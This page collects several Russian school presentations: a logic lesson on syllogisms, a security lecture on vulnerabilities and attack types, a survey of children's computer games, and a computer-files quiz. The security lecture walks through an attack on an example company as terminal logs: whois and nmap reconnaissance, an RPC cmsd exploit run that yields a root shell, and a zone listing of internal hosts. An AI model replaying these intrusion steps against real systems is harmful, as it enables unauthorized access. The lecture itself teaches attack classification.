«На рисунке изображен лист березы» - это ложное высказывание.
«У всех собак по три ноги и по два хвоста. Они могут летать и кукарекать» - это ложное высказывание
Для древних людей высказывание «Земля плоская» было истинным, а сейчас высказывание «Земля плоская»  – это ложное высказывание.
Главное, что мы должны понять и запомнить
1. Истину люди добывают, когда наблюдают, размышляют, исследуют, сравнивают, вычисляют, измеряют.
2. Высказывание, которое соответствует действительности, - истинное.
3. Высказывание, которое не соответствует действительности, - ложное.
4. Случается, что истинное высказывание становится ложным, когда люди узнают что-то новое.


title: Скачать презентацию или конспект Умозаключение

extracted_text:
Давайте повторим
Что такое суждение?
Какие бывают суждения?
Перечислите виды простых суждений.
Как образуются сложные суждения?
Проверим домашнее задание:
№ 1. Установите отношения между понятиями:
Проверим домашнее задание:
№ 1. Установите отношения между понятиями:
Тема: «Умозаключение как форма мышления».
Классная работа.
форма мышления, с помощью которой из одного или нескольких суждений, называемых посылками, мы по определенным правилам вывода получаем суждение – заключение.
Умозаключение –
Формы получения
умозаключений
Если все А являются B,
      а все В являются С,
   то все А являются С
Пример:
“ Если все воробьи – птицы , а все птицы – животные , то все воробьи являются животными ”
П.1: все воробьи – птицы
П.2: все птицы – животные

З.: все воробьи являются животными
Запись в тетради:
Если
     ни одно А не является В,
          а все С являются А ,то
      ни одно С не является В .
Формы получения
умозаключений
В
               А
В
С
и

А
С
Пример :
“ Если ни у одного четного числа десятичная запись не заканчивается цифрой 5 и все числа, делящиеся на 4 , четны, то ни у одного числа,  делящегося на 4, десятичная запись не заканчивается цифрой 5 ”
П.1: ни у одного четного числа десятичная запись не заканчивается цифрой 5
П.2: все числа, делящиеся на 4 , четны
З.: ни у одного числа,  делящегося на 4, десятичная запись не заканчивается цифрой 5
Запись в тетради:
Задания для 1 подгруппы
Задания для 2 подгруппы

Домашнее задание
А теперь закрепим :
Давайте закрепим:
1 подгруппа
Все имена существительные изменяются по падежам и числам. Слово «урок» – имя существительное. Следовательно, …
П.1: Имена существительные изменяются по падежам и числам.
П.2:Слово «урок» – имя существительное.
З.: Слово «урок» изменяется по падежам и числам.
Давайте закрепим:
1 подгруппа
Названия городов – имена собственные. Имена собственные пишутся с большой буквы. Значит, …

Все растения на свету поглощают углекислый газ. Тополь – растение. Следовательно …
Давайте закрепим:
1 подгруппа
Все ученики 6 класса занимаются спортом. Саша учится в 6 классе. Значит, …
Давайте закрепим:
1 подгруппа
Мама купила 4 шара красного и голубого цветов. Красных шаров было больше, чем голубых. Сколько мама купила красных шаров и сколько голубых?

Давайте закрепим:
1 подгруппа
Школьники, работая в колхозном саду, собрали 22 ящика фруктов.
	В одних были яблоки,
	во вторых – груши,
	в-третьих – сливы.

Можно ли утверждать, что имеется по крайней мере 8 ящиков с одним из указанных видов фруктов?

Давайте закрепим:
1 подгруппа
Рассмотрим самый неблагоприятный случай:
	школьники собирали по 7 ящиков 	каждого вида фруктов: 7*3 = 21.
В оставшийся ящик можно положить или яблоки, или груши, или сливы.

Следовательно, существует по крайней мере 7+1=8 ящиков одного из видов фруктов.

Все ученики, которые учатся в первую смену, приходят в 8 часов. Сережа учится в первую смену. Во сколько приходит Сережа?
2 подгруппа
Давайте закрепим:
Если числитель меньше знаменателя, то дробь правильная. У дроби 3/8 числитель меньше знаменателя. Следовательно, …

Если число оканчивается на 0, то оно делится на 5. Известно, что данное число не делится на 5. Следовательно, …

2 подгруппа
Давайте закрепим:
Если ни один слон не может летать, и все птицы летают. Следовательно, …

2 подгруппа
Давайте закрепим:
У сестер Юли и Тани было три платка: один розовый и два голубых. Увидев на юле один из этих платков, Таня поняла, что она может надеть только голубой платок. Какой платок был на Юле?
2 подгруппа
Давайте закрепим:
Работая в поле, рабочие собрали 19 мешков овощей.
	В одних была морковь,
		во вторых – свекла,
			в-третьих – картофель.

2 подгруппа
Давайте закрепим:
Можно ли утверждать, что имеется по крайней мере 7 мешков с одним из указанных видов овощей?

2 подгруппа
Давайте закрепим:
Рассмотрим самый неблагоприятный случай.

Рабочие собирали по 6 мешков каждого вида овощей: 6*3 = 18.
В оставшийся мешок можно положить или свеклу, или морковь, или картофель.

Следовательно, существует по крайней мере 6+1=7 мешков одного из видов овощей.

Домашнее задание:
Прочитать теорию на карточках.
Выполнить задания в тетради.


title: Скачать презентацию или конспект Типовая корпоративная сеть

extracted_text:
Типовая корпоративная сеть, понятие уязвимости и атаки
Раздел 1 – Тема 2

Типовая корпоративная сеть

Внутренние серверы
Рабочие места
МЭ
Уровни информационной инфраструктуры

Уровни информационной инфраструктуры

TCP/IP
NetBEUI
IPX/SPX

Уровни информационной инфраструктуры

Уровни информационной инфраструктуры

Уровни информационной инфраструктуры

Office 2000
Уровни информационной инфраструктуры

Классификация уязвимостей и атак
Раздел 1 – Тема 3
Примерный сценарий атаки
Сбор информации
Получение доступа к наименее защищённому узлу (возможно с минимальными привилегиями)
Получение полного контроля над одним из узлов или несколькими
Повышение уровня привилегий или использование узла в качестве платформы для исследования других узлов сети

Этап сбора информации
ACMETRADE.COM
Registrant:
Acmetrade.com, Inc. (ACMETRADE-DOM)
    6600 Peachtree Dunwoody Road
    Atlanta, GA 30338

    Domain Name: ACMETRADE.COM

    Administrative Contact:
        Vaughn, Danon (ES2394) dvaughn@ACMETRADE.COM
        (678)443-6000 (FAX) (678) 443-6476
    Technical Contact, Zone Contact:
        Bergman, Bret (ET2324) bbergman@ACMETRADE.COM
        (678)443-6100 (FAX) (678) 443-6208
    Billing Contact:
        Fields, Hope  (ET3427) hfields@ACMETRADE.COM
        (678)443-6101 (FAX) (678) 443-6401

    Record Last updated on 27-Jul-99.
    Record created on 06-Mar-98.
    Database last updated on 4-Oct-99 09:09:01 EDT

    Domain servers in listed order:

    dns.acmetrade.com	208.21.2.67
    www.acmetrade.com	208.21.2.10
    www1.acmetrade.com	208.21.2.12
    www2.acmetrade.com	208.21.2.103
http://www.networksolutions.com/cgi-bin/whois/whois/?STRING=acmetrade.com

[hacker@linux131 hacker]$ nmap 200.0.0.143

Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on  (200.0.0.143):
(The 1516 ports scanned but not shown below are in state: closed)
Port       State       Service
21/tcp      open         ftp
25/tcp      open         smtp
80/tcp      open         http
135/tcp    open         loc-srv
139/tcp    open         netbios-ssn
443/tcp    open         https
465/tcp    open         smtps

Nmap run completed -- 1 IP address (1 host up) scanned in 1 second
[hacker@linux131 hacker]$

hacker:/export/home/hacker>
./rpcscan dns.acmetrade.com cmsd
Scanning dns.acmetrade.com for program 100068
cmsd is on port 33505
hacker:/export/home/hacker>

hacker:/export/home/hacker>
id
uid=1002(hacker) gid=10(staff)
hacker:/export/home/hacker>
uname -a
SunOS evil.hacker.com 5.6 Generic_105181-05 sun4u sparc SUNW,UltraSPARC-IIi-Engine
hacker:/export/home/hacker>
./cmsd dns.acmetrade.com
using source port 53
rtable_create worked
Exploit successful.  Portshell created on port 33505
hacker:/export/home/hacker>
Trying 208.21.2.67...
Connected to dns.acmetrade.com.
Escape character is '^]'.
#
id
uid=0(root) gid=0(root)
#
uname -a
SunOS dns 5.5.1 Generic_103640-24 sun4m sparc SUNW,SPARCstation-5
#
telnet dns.acmetrade.com 33505
Этап получения доступа к узлу

#
#
nslookup
Default Server: dns.acmetrade.com
Address: 208.21.2.67
>
>
ls acmetrade.com
Received 15 records.
^D
[dns.acmetrade.com]
www.acmetrade.com			208.21.2.10
www1.acmetrade.com		208.21.2.12
www2.acmetrade.com		208.21.2.103
margin.acmetrade.com		208.21.4.10
marketorder.acmetrade.com		208.21.2.62
deriv.acmetrade.com		208.21.2.25
deriv1.acmetrade.com		208.21.2.13
bond.acmetrade.com		208.21.2.33
ibd.acmetrade.com			208.21.2.27
fideriv.acmetrade.com		208.21.4.42
backoffice.acmetrade.com		208.21.4.45
wiley.acmetrade.com		208.21.2.29
bugs.acmetrade.com		208.21.2.89
fw.acmetrade.com			208.21.2.94
fw1.acmetrade.com			208.21.2.21
Использование узла в качестве платформы для исследования других узлов сети

(AcmeTrade’s Network)
UNIX
Firewall
DNS Server
Web Server
Filtering Router
NT
Clients & Workstations
Network

UNIX
NT
UNIX

Схема сети
Уязвимости и атаки

Атака - действие нарушителя, которое приводит к реализации угрозы путем использования уязвимостей информационной системы.
Уязвимость - любая характеристика или свойство информационной системы, использование которой нарушителем может привести к реализации угрозы.

Классификацияуязвимостей
 узлов, протоколов и служб IP - сетей
Классификация уязвимостей по причинам возникновения
ошибки проектирования (технологий, протоколов, служб)
ошибки реализации (программ)
ошибки эксплуатации(неправильная настройка, неиспользуемые сетевые службы,слабые пароли)
Классификация по уровню в информационной инфраструктуре
Уровень сети
Уровень операционной системы
Уровень баз данных
Уровень персонала
Уровень приложений
Высокий уровень риска
Средний уровень риска
Низкий уровень риска
Классификация уязвимостей по уровню (степени) риска
Уязвимости, позволяющие атакующему получить непосредственный доступ у узлу с правами суперпользователя
Уязвимости, позволяющие атакующему получить доступ к информации, которая с высокой степенью вероятности позволит в последствии получить доступ к узлу
Уязвимости, позволяющие злоумышленнику осуществлять сбор критичной информации о системе

Источники информации
 о новых уязвимостях
www.cert.org        -     координационный центр 					CERT/CC
www.iss.net/xforce   - база данных компании ISS
llnl.ciac.gov         -      центр CIAC
www.cert.ru        -      российский CERT/CC
www.securityfocus.com
www.iss.net/xforce
Примеры уязвимостей
Уровень:   сеть
Степень риска:   средняя
Источник возникновения:   ошибки реализации
Описание: посылка большого числа одинаковых фрагментов IP-датаграммы приводит к недоступности узла на время атаки
Уровень:   ОС
Степень риска:   высокая
Источник возникновения:   ошибки реализации
Описание: проблема одной из функций ядра ОС Windows NT, позволяющая злоумышленнику получить привилегии администратора
Примеры уязвимостей
Уровень:   СУБД
Степень риска:   низкая
Источник возникновения:   ошибки реализации
Описание: уязвимость в реализации возможности подключения со стороны других SQL-серверов
Примеры уязвимостей
Уровень:   приложения
Степень риска:   средняя
Источник возникновения:   ошибки реализации
Описание: посылка большого числа некорректно построенных запросов приводит к повышенному расходу ресурсов процессора
Примеры уязвимостей
Уровень:   приложения
Степень риска:   средняя
Источник возникновения:   ошибки реализации
Описание: OC Windows 2000 и Windows 98 уязвимы к атаке «отказ в обслуживании», вызываемой исчерпанием всех UDP-сокетов
Примеры уязвимостей
Уровень:   Персонал
Степень риска:   высокая
Источник возникновения:   ошибки обслуживания
Описание: узел заражён серверной частью троянского коня, позволяющей установить полный контроль над узлом
Примеры уязвимостей
http://cve.mitre.org/cve
Единая система наименований для уязвимостей
Стандартное описание для каждой уязвимости
Обеспечение совместимости баз данных уязвимостей
http://cve.mitre.org/cve
CAN-1999-0067

CVE-1999-0067
Кандидат CVE
Индекс CVE

Ситуация без CVE
ISS RealSecure
CERT Advisory
Cisco Database
Axent NetRecon
land attack (spoofed SYN)

Impossible IP Packet
Bugtrag
CA-97.28.Teardrop_Land
Land
NT4-SP3and 95 [latierra.c]

Уязвимость Land IP denial of service
Поддержка CVE
CVE-1999-0016 Land IP denial of service
CVE
CERT Advisory
Bugtrag

ISS RealSecure
Cisco Database
Axent NetRecon

CVE entry
CVE-1999-0005

Arbitrary command execution via IMAP
buffer overflow in authenticate command.

Reference: CERT:CA-98.09.imapd
Reference: SUN:00177
Reference: BID:130
Reference: XF:imap-authenticate-bo

Номер
Описание
Ссылки

Классификация атак в IP- сетях
Классификация атак по целям
 Нарушение нормального функционирования
 объекта атаки (отказ в обслуживании)
 Получение конфиденциальной информации
 Модификация или фальсификация
 критичных данных
 Получение полного контроля над
 объектом атаки
Классификация атак по местонахождению атакующего и объекта атаки
Атакующий и объект атаки находятся в одном сегменте
Атакующий и объект атаки находятся в разных сегментах

Маршру-тизатор

Классификация атак по механизмам реализации
Пассивное прослушивание
DMZ-1
Пассивное прослушивание

Внутренние серверы
МЭ

Классификация атак по механизмам реализации
Подозрительная активность (разведка)
Пассивное прослушивание

Подозрительная активность

Внутренние серверы
Рабочие места
МЭ
# nmap www.company.com

Классификация атак по механизмам реализации
Подозрительная активность (разведка)
Бесполезное расходование вычислительных ресурсов (перегрузка)
Пассивное прослушивание

Перегрузка

Внутренние серверы
Рабочие места
МЭ
# ./neptun www.company.com

Классификация атак по механизмам реализации
Подозрительная активность (разведка)
Бесполезное расходование вычислительных ресурсов (перегрузка)
Нарушение навигации (ложный маршрут)
Пассивное прослушивание

Нарушение навигации

Внутренние серверы
Рабочие места
МЭ

DNS
сервер

Классификация атак по механизмам реализации
Провоцирование отказа объекта (компонента)
Подозрительная активность (разведка)
Бесполезное расходование вычислительных ресурсов (перегрузка)
Нарушение навигации (ложный маршрут)
Пассивное прослушивание

Провоцирование отказа

Внутренние серверы
Рабочие места
МЭ
# nuke www.company.com

Классификация атак по механизмам реализации
Провоцирование отказа объекта (компонента)
Подозрительная активность (разведка)
Запуск кода (программы) на объекте атаки
Бесполезное расходование вычислительных ресурсов (перегрузка)
Нарушение навигации (ложный маршрут)
Пассивное прослушивание

Запуск кода

Внутренние серверы
Рабочие места
МЭ
# exploit www.company.com

Классификация атак по механизмам реализации
Провоцирование отказа объекта (компонента)
Подозрительная активность (разведка)
Запуск кода (программы) на объекте атаки
Бесполезное расходование вычислительных ресурсов (перегрузка)
Нарушение навигации (ложный маршрут)
Пассивное прослушивание
Статистика по уязвимостям
и атакам
Источник: SANS
Версия 2.504 Май 2, 2002
Часто используемые уязвимости
  2.	Слабые пароли (системная политика)
  3.	Отсутствие механизма резервирования системы
  4.	Работающие, но не используемые сетевые службы
  5.	Отсутствие защиты от IP-спуфинга на пакетных фильтрах
  6.	Отсутствие процедуры аудита
  7.	Уязвимости CGI-программ
   1.	Установленные «по умолчанию» ОС и приложения


title: Скачать презентацию или конспект Компьютерные игры и виртуальная реальность

extracted_text:
КОМПЬЮТЕРНЫЕ ИГРЫ и ВИРТУАЛЬНАЯ РЕАЛЬНОСТЬ
Информация
к размышлению…
Минусы ???
Плюсы ???
1
Немного из истории компьютерных игр…
Первая игра с использованием графического экрана компьютера IBM была создана в 1980 г. Называлась она "Flogger".
Аспект использования компьютерных игрушек был задуман первоначально исключительно как элемент рекламы, а затем как элементы развлечения и отдыха.
Компьютерные игры в настоящее время являются одним из мощнейших стимулов развития и совершенствования компьютеров и связанных с ним технологий.
В индустрию производства игр втянулись фирмы - всемирно известные поставщики качественного программного обеспечения, такие как IBM,  Borland Int.  и т.п.
Самое активное участие принимают в нем и крупные фирмы, для которых бизнес развлечений является основным (кино, реклама): Warner Bras,  Disney и т.п. Интенсивно работают в этом направлении и отечественные фирмы. Ими созданы блоки игр носящих как чисто развлекательный, так и учебный характер.
2

Классификация компьютерных игр
(классификация Шмелева, созданная им в 1988 году):

…ИГРА - вид непродуктивной деятельности, мотив которой заключается не в ее результатах, а в самом процессе. В истории человеческого общества игра переплеталась с магией, культовым поведением и др.
(Шмелев А.П.)
Аркадные игры
Стратегические игры

Спортивные игры
Адвентюрные игры
Ролевые игры
Логические игры

Игры-имитаторы

Традиционные игры

3
Наша классификация:
Ролевые компьютерные игры.
Основная их особенность - наибольшее влияние на психику играющего, наибольшая глубина "вхождения" в игру, а также мотивация игровой деятельности, основанная на потребностях принятия роли и ухода от реальности.

          1. Игры с видом "из глаз" "своего" компьютерного героя. 2. Игры с видом извне на "своего" компьютерного героя. 3. Руководительские игры.

II.     Неролевые компьютерные игры.
Основанием для выделения этого типа является то, что играющий не принимает на себя роль компьютерного персонажа, в следствие чего психологические механизмы формирования зависимости и влияние игр на личность человека имеют свою специфику и в целом менее сильны. Мотивация игровой деятельности основана на азарте "прохождения" и (или) набирания очков.

          1. Аркады. 2. Головоломки. 3. Игры на быстроту реакции. 4. Традиционно азартные игры.
4
Было проанализировано87 компьютерных игр!
1) В репертуаре младших школьников преобладали относительно простые   игры, так называемые «стрелялки». Игры более сложные — так называемые стратегии и квесты (интерактивный поиск выхода из некой ситуации) оказались преобладающими в коллекциях старшеклассников.

2) Практически все компьютерные игры, представляли собой интерактивное действие на криминальные, военные, фантастические и спортивные (например, автогонки) темы.

5
Рейтинг игр 2008 года:
 Evil Tanks (стрелялки)
Lines 2008 (логические)
Mahjong Scarlett (логические)
Desert Demolition (экшен)
Donkey Kong (экшен)
Doom Troopers (стрелялки)
Брюс Ли путь дракона (драки)
Donald Duck (экшен)
Prince of Persia (онлайн)
Jurasic Park (экшен)
Death Duel (стрелялки)
Warrior of the Eternal Sun (RPG)
Darius II (стрелялки)
KTOP (логические)
Кто хочет стать миллионером (разные)
Generations Lost (экшен)
Beyond Oasis (экшен)
Самые популярные игры 2008 года
(по мнению учащихся):
«Веселая ферма»
«Магическая энциклопедия»
6
17,24% (15 из 87) компьютерных игр не содержали никаких сцен насилия (как правило, это были игры на спортивную тему);

82,75% (72 из 87) компьютерных игр обязательно содержали хотя бы   один из видов экранного насилия (убийства, драки, катастрофы). При этом во   многих из проанализированных игр насилие было представлено сразу в нескольких видах — то есть с совмещением (в разных комбинациях) драк, убийств, пыток, катастроф и т.п.

Подробно:
55,17% (48 из 87) компьютерных игр включали в себя интерактивные сцены   разнообразных убийств («Doom», «Young Blood», «Final Doom» и др.);
39,08% (34 из 87) компьютерных игр основывались на интерактивных сценах   драк (разной степени жестокости): «Kensei», «Hercules» и др.;
35,63% (31 из 87) компьютерных игр изображали интерактивные сцены катастроф   (« X-COM », « Resident Evil » и др.).
Анализ компьютерных игр в арсенале
школьников г. Покачи показал:
7
Возрастной диапазон школьников, увлекающихся компьютерными играми:

8
Анализ таблицы показывает:

В компьютерные игры в основном играют (отдавая максимум своего свободного времени) подростки мужского пола в возрасте от 12 до 15 лет.

Мальчики младшего школьного возраста (от 7 до 9 лет), находящиеся, как правило, под большим родительским контролем, составляют меньшинство (от 1 до 5 процентов).

Не слишком много «игроманов» среди подростков старше 16 лет. У них, по-видимому, уже не находится достаточного количества свободного времени для такого рода развлечений.
9
Тематика интерактивных игр, привлекающая школьников:
10
Анализ таблицы показывает:

Во всех возрастных группах школьников количество любимых компьютерных игр ролевой направленности, содержащих интерактивные сцены, превышает количество неролевых (преимущественно спортивных) компьютерных игр.

Предпочтение компьютерных игр (ролевых) с убийствами, драками и прочими элементами насилия («Doom », « Final Doom », « Resident Evil », « Mortal Combat ») в максимальной степени свойственно школьникам в возрасте от 11 до 14 лет. В этом возрасте количество предпочитаемых игр с элементами насилия в среднем более чем вдвое превышает количество «мирных» (неролевых) игр.

11

Физиологические изменения в организме школьника
(после 3 ч непрерывной игры на ПК)
12
13
Негативное влияние компьютерных игр:
Физиология:
«Компьютеризация» свободного времени подростков приводит к таким соматическим нарушениям, как -  снижение остроты зрения, быстрая утомляемость, искривление позвоночника и т.д.
Психика:
При большой увлеченности подростка компьютерными играми у него происходит сужение круга интересов, стремление к созданию собственного мира, уход от реальности.
14
Положительные стороны влияния компьютерных игр:
Игры представляют отличную возможность проявить изобретательность, развить творческие способности.
Игры позволяют «разрядиться» эмоционально, решить какие-то свои психологические проблемы.
Через компьютерную игру идет адаптация к реальному миру (через мир виртуальный).

Внимание! Сенсация!
Последние исследования ученых-врачей показали, что компьютерные игры помогают детям терпеть боль, которая может быть вызвана последствиями недавней операции или хроническим заболеванием.

15
Наши выводы:

1.   Компьютерные технологии оказывают глубокое воздействие на психику и сознание человека.

2.   Говорить о синдроме «игровая – зависимость» и «чрезмерной увлеченности компьютерными играми» однозначно нельзя. Не все пользователи «поглощаются» виртуальной реальностью и приобретают психическую зависимость от компьютерной игры.
3.  Компьютерные игры влияют на личность ребенка как положительно, так и отрицательно. Степень влияния связана со степенью увлеченности и степенью использования компьютерных игр. Причем, негативное влияние находится в прямой пропорциональности от личности пользователя.

4.   Зачастую игровая зависимость и уход в компьютерную игру – это следствие гипернакопляемости внутриличностных проблем человека. (Есть мнение, что в таких случаях компьютерная игра даже частично помогает человеку).
5.   Воспитание компьютерной культуры, самовоспитание пользователей – вот противоядие игровой зависимости и чрезмерной увлеченности компьютерными играми.
16
Наши предложения:
Необходимо строгое соблюдение возрастных рейтингов для использования, продажи, проката компьютерных игр, чтобы дети младше 10-12 лет не имели доступа к играм, содержащим откровенные сцены насилия и т.п.

Соблюдение санитарно-эпидемиологических норм при работе с ПК является крайне актуальным
                                                        (для каждого возраста учащихся)

Школьные педагоги должны максимально использовать на уроках и во внеурочной деятельности богатые возможности экранных искусств, Интернета, компьютерной анимации, интерактивной игры для развития творческих способностей детей, их критического мышления, эстетического восприятия и вкуса.

Вполне реальной на наш взгляд, может стать организация в школах геймер-клубов. Считаем важным, чтобы организация эта происходила под наблюдением и патронажем профессиональных педагогов и психологов, занимающихся внеучебной работой и информатикой.
17
Спасибо за внимание!
18


title: Скачать презентацию или конспект Лото-игра по теме «Компьютер»

extracted_text:
1 вопросКакой объект находится на верхнем уровне иерархии в операционной системе Windows?
Мой компьютер
Рабочий стол
Корзина
Мои документы

Ответ:

2 вопрос

3 вопрос
Какие ограничения на имена файлов существуют в операционной системе Windows?

4 вопрос

5 вопросВ каком случае в одном каталоге (папке) могут храниться два файла с одинаковыми собственными именами?
Созданы в разное время суток
Имеют разные расширения
Имеют разный размер файла
Не могут в одном каталоге храниться такие файлы

6 вопрос

7 вопрос
Что означают  знаки "+" и "–" перед названиями каталогов?

8 вопрос
 Для чего служит программа Проводник?
Программа для работы с базами данных
Для поиска информации
Для написания текстов
Для управления файлами

9 вопрос Что такое файл?
Единица измерения информации
Текст, распечатанный на принтере
Программа, данные на диске
Программа в оперативной памяти

10 вопрос
Предложите вариант имени и типа для файла, содержащего рецепт пирога

11 вопрос
Перечислите известные вам параметры файла.

12 вопрос
Укажите полный путь к файлу компьютерные вирусы

13 вопросдля чего нужно расширение файла?
Для объединения разных файлов
Для статистики
Для связи с приложением, который может обрабатывать данный файл
Для указания размера файла

14 вопросВыберите допустимые имена файлов из перечисленных ниже:
   1) IVAN*.DOC 2) LIN?EXE 3) КУКУ.BMP 4) A.B.TXT

15 вопрос
Назовите устройства компьютера, относящиеся к устройствам памяти (не менее 4)

16 вопрос

17 вопрос
  На какие виды можно разделить все программы, установленные на компьютере?

18 вопрос

19 вопрос
Постройте дерево каталогов C:\Рисунки\Природа\Небо.bmp C:\Рисунки\Природа\Снег.bmp C:\Рисунки\Компьютер\Монитор.bmp C:\Мои документы\Доклад.doc

20 вопрос
 Перечислите известные вам прикладные программы (не  менее 5)

21 вопрос
Папка, в которую временно попадают удаленные объекты называется
Блокнот
Корзина
Портфель
Мой компьютер

22 вопрос
Предложите вариант имени и типа файла, содержащего запись концерта рок- группы.

23 вопрос
Установите соответствие между приложением
( левый столбик таблицы)  и типом файла, создаваемого в этом приложении по умолчанию

24 вопрос

25 вопрос
Какой тип имеет файл s.exe?
 графический
Текстовый
Исполняемый
Система программирования

26 вопрос
   Задан полный путь к файлу C:\DOC\PROBA.TXTкаково имя каталога, в котором находится файл PROBA.TXT
PROBA.TXT
C:\DOC\PROBA.TXT
DOC
TXT

27 вопрос
 Каталог (папка) – это
 Команда операционной системы
Устройство для хранения файла
Раздел файловой системы, содержащий имена файлов и каталогов
Группа файлов, объединенная общим именем

28 вопрос